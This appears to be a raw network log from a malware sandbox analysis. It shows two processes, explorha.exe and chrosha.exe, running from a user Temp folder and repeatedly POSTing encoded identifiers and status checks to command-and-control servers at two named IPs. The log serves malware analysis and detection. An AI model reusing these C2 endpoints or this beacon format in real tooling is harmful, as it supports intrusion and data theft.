Apr 19, 2024 03:32:23.276231050 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:23.528750896 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.5	50369	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:23.361321926 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:23.614545107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.5	50370	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:23.883049965 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:24.126471996 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.5	50371	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:23.973814964 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:24.215981007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.5	50372	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:24.372375011 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:24.619539976 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.5	50373	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:24.467001915 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:24.718770981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.5	50374	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:24.970690966 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:25.209656000 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
530	192.168.2.5	50375	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:25.082505941 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:25.326054096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
531	192.168.2.5	50376	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:25.461373091 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:25.713660955 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
532	192.168.2.5	50377	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:25.574251890 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:25.824208021 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
533	192.168.2.5	50378	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:26.077305079 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:26.329679966 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
534	192.168.2.5	50379	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:26.178901911 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:26.424182892 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
535	192.168.2.5	50380	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:26.586277008 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:26.844441891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
536	192.168.2.5	50381	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:26.673719883 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:26.921539068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
537	192.168.2.5	50382	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:27.223351955 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:27.476679087 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
538	192.168.2.5	50383	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:27.275361061 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:27.522288084 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
539	192.168.2.5	50384	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:27.723212004 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:27.972114086 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
540	192.168.2.5	50385	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:27.774044991 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:28.020169020 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
541	192.168.2.5	50386	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:28.332118988 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:28.576206923 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
542	192.168.2.5	50387	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:28.377913952 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:32:28.624866009 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
543	192.168.2.5	50388	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:28.835767031 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:32:29.085215092 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
544	192.168.2.5	50389	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:28.871520042 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:32:29.116163015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:32:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
545	192.168.2.5	50390	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:32:29.434799910 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
